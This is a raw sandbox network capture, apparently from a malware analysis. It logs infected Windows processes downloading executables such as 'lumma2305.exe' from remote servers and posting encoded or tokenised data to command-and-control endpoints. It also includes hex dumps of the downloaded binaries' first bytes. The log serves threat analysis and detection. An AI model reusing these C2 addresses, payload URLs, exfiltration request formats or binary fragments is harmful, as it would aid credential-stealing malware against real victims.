May 24, 2024 09:43:07.098035097 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=60 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 09:43:07.126569986 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEG Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 09:43:07.360452890 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=59 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 09:43:07.372298956 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHD Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 09:43:07.596265078 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=58 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 09:43:07.606617928 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBA Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 09:43:07.828583956 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=57 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 09:43:07.914993048 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGC Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 09:43:08.135196924 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=56 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 09:43:08.365633011 CEST	205	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCB Host: 185.172.128.170 Content-Length: 116355 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 09:43:08.827442884 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=55 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 09:43:09.018505096 CEST	472	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA Host: 185.172.128.170 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="message"jbdtaijovg------BKJDGCGDAAAKECAKKJDA--
May 24, 2024 09:43:09.244364977 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=54 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49863	5.42.65.116	80	2484	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:45.533468962 CEST	219	OUT	HEAD /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 09:42:46.188021898 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 07:42:46 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 09:42:46.226042986 CEST	218	OUT	GET /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 09:42:46.435435057 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 07:42:46 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 09:42:46.435451984 CEST	1236	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$I/\|\|\|}\|}\|}\|}\|\|V\|l}\|l}\|l}@\|o}\|o}\|Rich\|PE
May 24, 2024 09:42:46.435465097 CEST	224	IN	Data Raw: af 41 00 e8 d1 36 00 00 8b 5d 08 33 ff 8b c7 89 45 e8 ff 75 0c e8 42 7e 00 00 59 8b c8 89 4d e4 8b 03 8b 40 04 8b 74 18 20 8b 44 18 24 3b c7 7c 16 7f 0e 3b f7 76 10 3b c7 7c 0c 7f 04 3b f1 76 06 2b f1 1b c7 eb 0e 0f 57 c0 66 0f 13 45 dc 8b 45 e0 Data Ascii: A6]3EuB~YM@t D$;\|;v;\|;v+WfEEuESM(}uj^}AD%@t<E;\|3;v-HD@PL8tsuEEEAL8WuuP$;EuE;uA
May 24, 2024 09:42:46.435581923 CEST	1236	IN	Data Raw: 45 ec 3b c7 7c 33 7f 04 3b f7 76 2d 8b 03 8b 48 04 0f b6 44 19 40 50 8b 4c 19 38 e8 bd 0c 00 00 83 f8 ff 74 1b 83 c6 ff 89 75 dc 8b 45 ec 83 d0 ff 89 45 ec 89 45 e0 eb c9 6a 04 5e 8b d7 eb 08 6a 04 5e 8b d6 89 55 e8 8b 03 8b 40 04 89 7c 18 20 89 Data Ascii: E;\|3;v-HD@PL8tuEEEj^j^U@\| \|$M;MPBj^j39J8EVh;@M3j^]UHW39y8EqV8M4D$=rPYtP>4Y3D$H#;
May 24, 2024 09:42:46.435760021 CEST	1236	IN	Data Raw: 66 14 00 e8 4e fc ff ff 5f 8b c6 5e c2 08 00 8b 54 24 04 56 8b f1 89 16 8b 02 8b 40 04 8b 4c 10 38 85 c9 74 05 8b 01 ff 50 04 8b c6 5e c2 04 00 55 8b ec 83 ec 1c a1 00 2f 47 00 33 c5 89 45 fc 8b 45 10 56 83 ec 18 8b f1 8b cc 50 e8 31 ff ff ff ff Data Ascii: fN_^T$V@L8tP^U/G3EEVP1uEuP$PIMMUNM4A3V^/Vt$WVa4AFVGW_^Vt$<A^Vt$$A^a
May 24, 2024 09:42:46.435775042 CEST	1236	IN	Data Raw: 65 fc 00 8b 06 8b 48 04 83 7c 31 0c 00 75 2a f6 44 31 14 02 74 23 8b 4c 31 38 8b 01 ff 50 34 83 f8 ff 75 15 8b 06 8b 48 04 03 ce 6a 00 8b 41 0c 83 c8 04 50 e8 08 01 00 00 83 4d fc ff e8 83 2b 00 00 c3 b8 95 1b 40 00 c3 cc cc cc cc cc 56 8b 74 24 Data Ascii: eH\|1u*D1t#L18P4uHjAPM+@Vt$jVQ6fF^UMhNBEPY<VFv@P6YYfF^hA{h$ApD$=?wP@YUS]W
May 24, 2024 09:42:46.435789108 CEST	1236	IN	Data Raw: f8 ff 59 59 0f 95 c0 5d c3 55 8b ec 83 ec 0c 8b 55 08 53 8b d9 56 be ff ff ff 7f 8b c6 8b 4b 10 2b c1 89 4d f4 3b c2 0f 82 90 00 00 00 8b 43 14 57 56 8d 3c 11 89 45 f8 50 57 e8 c9 f9 ff ff 8b f0 8d 4e 01 51 e8 00 f2 ff ff 83 c4 10 89 45 fc 8b cb Data Ascii: YY]UUSVK+M;CWV<EPWNQEY}{}sWv,3Vu1MEE@DPVuuSVs1E7D73/_^[jAE&jM5P>G@>Geu3M
May 24, 2024 09:42:46.435813904 CEST	1236	IN	Data Raw: 64 a1 00 00 00 00 50 a1 00 2f 47 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 83 65 fc 00 51 c7 01 24 df 41 00 e8 be 1b 00 00 59 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc cc cc cc 56 8b 71 34 c7 01 44 df 41 00 85 f6 74 11 8b ce e8 ca 00 00 00 6a 08 Data Ascii: dP/G3PEdeQ$AYMdYVq4DAtjV!YY^9t1UjhAdPVW/G3PEdV~,Ytv,rY3~,9~$tv$_Y~$9~tvNY~9~tv=Y~9~tv,Y~9~t
May 24, 2024 09:42:46.435847998 CEST	1236	IN	Data Raw: 00 00 83 c4 10 3b f0 75 09 80 7b 3d 00 0f 94 c0 eb c9 32 c0 eb c5 55 8b ec 51 53 8b 5d 08 56 57 8b f9 8b 77 10 8b c6 2b c3 89 75 fc 3b 45 0c 72 03 8b 45 0c 83 7f 14 0f 76 02 8b 0f 8d 14 19 2b f0 8b ce 03 c2 2b cb 41 51 50 52 e8 18 28 00 00 83 c4 Data Ascii: ;u{=2UQS]VWw+u;ErEv++AQPR(Vuw_^[j8EA}3]tG9uCjpYu!]tMPMCAf37tMjXxj8tA}3]tC97u?j
May 24, 2024 09:42:46.435985088 CEST	1236	IN	Data Raw: 0c 74 19 57 8d 79 08 0f b6 06 57 50 e8 90 0f 00 00 88 06 46 59 59 3b 75 0c 75 ec 5f 8b c6 5e 5d c2 08 00 55 8b ec 8d 41 08 50 0f b6 45 08 50 e8 79 10 00 00 59 59 5d c2 04 00 55 8b ec 56 8b 75 08 3b 75 0c 74 19 57 8d 79 08 0f b6 06 57 50 e8 59 10 Data Ascii: tWyWPFYY;uu_^]UAPEPyYY]UVu;utWyWPYFYY;uu_^]UMEjX]UE]UM+MQuu"E]UVuYP^]UVEf<j F8?~8F@uFjP
May 24, 2024 09:42:46.436973095 CEST	840	IN	Data Raw: 56 6a ff 8b 70 0c 8b ce ff 15 40 d1 41 00 8b cf ff d6 5e 83 f8 ff 74 15 ff 77 4c e8 17 62 00 00 59 33 c9 85 c0 5f 0f 99 c1 8d 41 ff c3 33 c0 5f c3 33 c0 c3 6a 30 b8 9e b1 41 00 e8 b7 13 00 00 8b d9 8b 43 1c 8b 08 85 c9 74 23 8b 53 2c 8b 32 8d 04 Data Ascii: Vjp@A^twLbY3_A3_3j0ACt#S,21;sFKBN{Lu@KL39S8uQEPYYtE3}UEUQUbPM}MS8UvME}E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49866	5.42.66.10	80	7092	C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:48.359507084 CEST	269	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 133 Host: 5.42.66.10
May 24, 2024 09:42:48.359508038 CEST	133	OUT	Data Raw: 64 61 74 61 3d 57 41 30 56 52 47 78 55 46 73 63 62 71 48 49 56 61 56 43 61 59 4c 42 6d 74 75 38 34 59 34 39 48 5f 7a 45 4b 70 4f 7a 78 51 4d 47 54 6c 43 4d 4f 42 66 6b 56 42 46 32 56 4d 74 4e 76 43 6e 6c 78 7a 71 78 55 6e 34 65 58 79 4d 70 48 45 Data Ascii: data=WA0VRGxUFscbqHIVaVCaYLBmtu84Y49H_zEKpOzxQMGTlCMOBfkVBF2VMtNvCnlxzqxUn4eXyMpHEZJARVZFL2magC3VO9mP03JZX0qbYd3AVbSgFEPP4zp2YC-6FALB
May 24, 2024 09:42:49.353214025 CEST	363	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:48 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 6e 78 62 5a 68 75 63 44 35 75 66 64 58 33 6a 6a 64 41 2b 45 4e 6f 48 36 39 33 74 44 51 46 33 74 67 49 68 78 6b 64 62 61 63 4a 45 39 75 74 50 38 52 45 50 6b 6d 75 38 37 58 2b 39 67 73 46 6a 59 68 58 4c 67 2b 63 53 44 69 6f 61 77 76 72 51 2f 6f 58 6f 6e 50 46 51 37 43 32 34 5a 52 31 4a 75 52 69 56 39 65 67 43 45 4c 39 6f 3d Data Ascii: nxbZhucD5ufdX3jjdA+ENoH693tDQF3tgIhxkdbacJE9utP8REPkmu87X+9gsFjYhXLg+cSDioawvrQ/oXonPFQ7C24ZR1JuRiV9egCEL9o=
May 24, 2024 09:42:49.596020937 CEST	269	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 113 Host: 5.42.66.10
May 24, 2024 09:42:49.596021891 CEST	113	OUT	Data Raw: 64 61 74 61 3d 34 4f 41 6b 73 67 52 38 65 4e 4d 5a 30 54 39 48 77 7a 47 76 6f 67 59 32 65 6d 4b 74 36 6c 34 51 79 59 75 57 66 57 47 72 59 63 67 56 71 35 36 48 34 75 35 6b 75 39 54 46 75 62 30 74 6f 54 58 32 52 5f 50 2d 6d 52 52 63 7a 4d 41 72 49 Data Ascii: data=4OAksgR8eNMZ0T9HwzGvogY2emKt6l4QyYuWfWGrYcgVq56H4u5ku9TFub0toTX2R_P-mRRczMArI9P7HHIebJvbVwpEbe1jAErhGMbtklw=
May 24, 2024 09:42:50.115318060 CEST	382	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:49 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 128 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 47 45 4e 31 7a 78 41 79 68 73 70 59 39 45 66 35 4f 31 71 36 6f 72 63 6d 53 6e 7a 67 54 67 39 4f 41 41 59 56 65 46 37 66 2b 69 4f 41 46 73 62 52 2f 76 78 55 57 79 41 65 79 44 42 73 4d 59 59 68 6d 50 35 77 52 47 53 49 75 2b 48 6a 6e 68 73 4c 52 59 39 30 41 4f 6d 6d 72 42 2f 71 66 54 6f 42 42 51 77 78 5a 66 56 36 76 54 34 31 47 4a 50 31 43 72 7a 53 37 63 58 78 41 44 6c 46 69 6f 51 32 Data Ascii: GEN1zxAyhspY9Ef5O1q6orcmSnzgTg9OAAYVeF7f+iOAFsbR/vxUWyAeyDBsMYYhmP5wRGSIu+HjnhsLRY90AOmmrB/qfToBBQwxZfV6vT41GJP1CrzS7cXxADlFioQ2
May 24, 2024 09:42:50.287611961 CEST	269	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 133 Host: 5.42.66.10
May 24, 2024 09:42:50.287612915 CEST	133	OUT	Data Raw: 64 61 74 61 3d 37 42 68 2d 4e 70 4b 58 71 69 79 49 66 31 66 70 76 46 56 36 41 71 34 31 68 43 75 65 49 58 52 77 65 51 4d 78 59 51 4e 31 49 75 31 59 71 50 6d 47 57 5a 56 77 36 63 54 7a 5f 42 70 5f 53 36 61 61 4f 54 6a 34 77 35 69 77 61 30 76 72 74 Data Ascii: data=7Bh-NpKXqiyIf1fpvFV6Aq41hCueIXRweQMxYQN1Iu1YqPmGWZVw6cTz_Bp_S6aaOTj4w5iwa0vrthBxVucZtEhfwq6w5ziajTPBQd-0el0fqRGQDUmpjWdheNxDL1SZ
May 24, 2024 09:42:50.676101923 CEST	362	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:50 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 42 67 4b 6c 77 67 6f 77 42 34 64 72 4b 43 66 33 59 54 6f 6c 59 36 38 7a 72 74 54 77 48 41 64 63 67 6e 4f 6c 32 71 79 4d 67 6c 76 6f 43 62 65 36 56 38 2f 4d 52 74 63 34 4f 39 37 65 39 56 39 4a 6d 50 51 44 45 71 49 77 4a 38 44 36 7a 6b 50 72 45 67 2b 73 35 54 54 33 78 56 53 2b 77 74 4a 61 6b 67 41 37 35 4e 51 36 7a 73 34 3d Data Ascii: BgKlwgowB4drKCf3YTolY68zrtTwHAdcgnOl2qyMglvoCbe6V8/MRtc4O97e9V9JmPQDEqIwJ8D6zkPrEg+s5TT3xVS+wtJakgA75NQ6zs4=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49868	5.42.65.116	80	6832	C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:50.060600996 CEST	219	OUT	HEAD /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 09:42:50.727389097 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 07:42:50 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 09:42:50.730001926 CEST	218	OUT	GET /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 09:42:50.937180996 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 07:42:50 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 09:42:50.940105915 CEST	1236	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$I/\|\|\|}\|}\|}\|}\|\|V\|l}\|l}\|l}@\|o}\|o}\|Rich\|PE
May 24, 2024 09:42:50.944430113 CEST	1236	IN	Data Raw: af 41 00 e8 d1 36 00 00 8b 5d 08 33 ff 8b c7 89 45 e8 ff 75 0c e8 42 7e 00 00 59 8b c8 89 4d e4 8b 03 8b 40 04 8b 74 18 20 8b 44 18 24 3b c7 7c 16 7f 0e 3b f7 76 10 3b c7 7c 0c 7f 04 3b f1 76 06 2b f1 1b c7 eb 0e 0f 57 c0 66 0f 13 45 dc 8b 45 e0 Data Ascii: A6]3EuB~YM@t D$;\|;v;\|;v+WfEEuESM(}uj^}AD%@t<E;\|3;v-HD@PL8tsuEEEAL8WuuP$;EuE;uAE;\|3;v-H
May 24, 2024 09:42:50.944478035 CEST	1236	IN	Data Raw: 03 00 00 8b 44 24 10 5f 5e 89 03 8b c3 5d 5b 59 c2 10 00 e8 50 06 00 00 cc 56 8b 74 24 0c 57 8b 7c 24 14 57 56 ff 74 24 14 e8 e1 fd ff ff 2b 74 24 18 83 c4 0c c1 fe 02 8d 04 b7 5f 5e c3 56 57 ff 74 24 0c 8b f1 33 c0 8b fe ab ab ab ab 83 66 10 00 Data Ascii: D$_^][YPVt$W\|$WVt$+t$_^VWt$3ff_^VW3D$ffxvpQ_^VWt$3ffxYPt$v_^VWt$3t$ffN_^T$
May 24, 2024 09:42:50.949203968 CEST	1236	IN	Data Raw: ee 2b ce 3b d1 77 0c 8d 04 16 3b 44 24 08 0f 42 44 24 08 5e c2 04 00 56 8b f1 83 3e 00 74 12 8b 46 08 2b 06 83 e0 fc 50 ff 36 e8 2e f9 ff ff 59 59 8b 4c 24 08 8b 44 24 0c 89 0e 8d 04 81 89 46 04 8b 44 24 10 8d 04 81 89 46 08 5e c2 0c 00 55 8b ec Data Ascii: +;w;D$BD$^V>tF+P6.YYL$D$FD$F^U/G3E}$VutW<AW?tYPWMH_MUuRP}EuGEMP!MEPMM3^+jAT,eH\|1u*D1
May 24, 2024 09:42:50.949253082 CEST	1236	IN	Data Raw: 08 8b f1 89 75 fc e8 5b f8 ff ff c7 06 28 d2 41 00 8b c6 5e c9 c2 04 00 55 8b ec 56 8b f1 8d 46 04 c7 06 c8 d1 41 00 50 e8 a6 38 00 00 f6 45 08 01 59 74 0a 6a 0c 56 e8 79 27 00 00 59 59 8b c6 5e 5d c2 04 00 55 8b ec 83 ec 0c 8d 4d f4 ff 75 08 e8 Data Ascii: u[(A^UVFAP8EYtjVy'YY^]UMuihOBEP8UMuhOBEPn8<UMA9t=xAuA]@]Uu>vYu2]E]UuEPxYY]UUS
May 24, 2024 09:42:50.958942890 CEST	1236	IN	Data Raw: 41 04 c0 de 41 00 c7 01 b8 de 41 00 c3 33 c0 c7 01 24 df 41 00 89 41 08 89 41 0c 89 41 10 89 41 14 89 41 18 89 41 1c 89 41 20 89 41 24 89 41 28 89 41 2c 89 41 30 8b c1 c3 55 8b ec 8b 45 08 53 56 8b d9 57 8b 78 04 89 7b 04 8b 07 8b 70 04 8b ce ff Data Ascii: AAA3$AAAAAAAA A$A(A,A0UESVWx{p@A_^[]V>t6Y&^UjhAdPV/G3PEd~LAt'~HtXMdY^UjhAdP/G3PEd
May 24, 2024 09:42:50.962932110 CEST	1236	IN	Data Raw: 5b 5d c3 8b 49 04 85 c9 74 0b 8b 41 18 85 c0 75 09 8d 41 1c c3 b8 ec de 41 00 c3 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 52 50 50 51 e8 83 ff ff ff 83 c4 10 c3 83 c8 ff f0 0f c1 41 04 48 f7 d8 1b c0 f7 d0 23 c1 c3 55 8b ec 83 ec 28 a1 00 2f 47 00 Data Ascii: []ItAuAAAQvRPPQAH#U(/G3ESV{8tX{=tRjp@AtsW{8p EPEPEPC@P@A3_+ttHu<K=M^3[TK=uE+tsLVjPx;u{=2
May 24, 2024 09:42:50.962985992 CEST	1236	IN	Data Raw: f9 83 7f 4c 00 74 2a 56 e8 21 ff ff ff 8b cf e8 5f fb ff ff ff 77 4c 0f b6 f0 f7 de 1b f6 23 f7 e8 82 64 00 00 f7 d8 59 1b db f7 d3 23 de 5e eb 02 33 db 8b cf c6 47 48 00 c6 47 3d 00 e8 c5 fd ff ff 83 67 4c 00 8b c3 8b 0d 44 3e 47 00 8b 15 48 3e Data Ascii: Lt*V!_wL#dY#^3GHG=gLD>GH>Gg8O@WD_[3@UMEjM EX]UE+E;ErE]UE]UM+MQuu#E]UAPEPYY]UVu;utWyWP
May 24, 2024 09:42:50.970776081 CEST	1236	IN	Data Raw: e8 b9 69 00 00 59 59 85 c0 75 37 8b 4d 20 8b 45 1c 89 4f 44 8b cf 56 89 47 40 e8 3b fa ff ff 8b 45 08 8b 77 40 8b 7f 44 8b 4d f8 8b 55 fc 89 70 10 89 08 89 50 04 89 58 08 89 58 0c 89 78 14 5e eb 16 8b 45 08 83 08 ff 83 48 04 ff 89 58 08 89 58 0c Data Ascii: iYYu7M EODVG@;Ew@DMUpPXXx^EHXXXX_[ UEH3HHHH] U}VuEEujX3~Lt&uPuvL'qujvL3^]33WLt/Vjp@A^
May 24, 2024 09:42:50.970824003 CEST	1236	IN	Data Raw: 75 08 e8 c5 1a 00 00 8b 45 f4 83 c4 0c 8b 4d fc 2b fe 1b 5d f8 8b 00 29 30 8b 41 1c 01 30 8b 45 08 eb 2a 8b 01 8b 70 1c 8b ce ff 15 40 d1 41 00 8b 4d fc ff d6 8b c8 83 f9 ff 74 2e 8b 45 08 83 c7 ff 83 d3 ff 33 f6 46 88 08 8b 4d fc 03 c6 8d 51 2c Data Ascii: uEM+])0A0E*p@AMt.E3FMQ,E`\|Q,SEU^+_[US{8tuuuC VuWC0}u}MEt3EEM\|QtK\|Bt<;\|;s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49928	5.42.66.10	80	4460	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:04.539071083 CEST	234	OUT	HEAD /download/th/Retailer_prog.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:43:05.247504950 CEST	275	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 23 May 2024 15:43:59 GMT ETag: "2ebe00-61920eb64fb2e" Accept-Ranges: bytes Content-Length: 3063296 Content-Type: application/x-msdownload
May 24, 2024 09:43:05.250308037 CEST	233	OUT	GET /download/th/Retailer_prog.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:43:05.462871075 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 23 May 2024 15:43:59 GMT ETag: "2ebe00-61920eb64fb2e" Accept-Ranges: bytes Content-Length: 3063296 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 8c 18 00 00 00 00 00 0c a0 2d 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 6e 00 00 04 00 00 8a c8 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 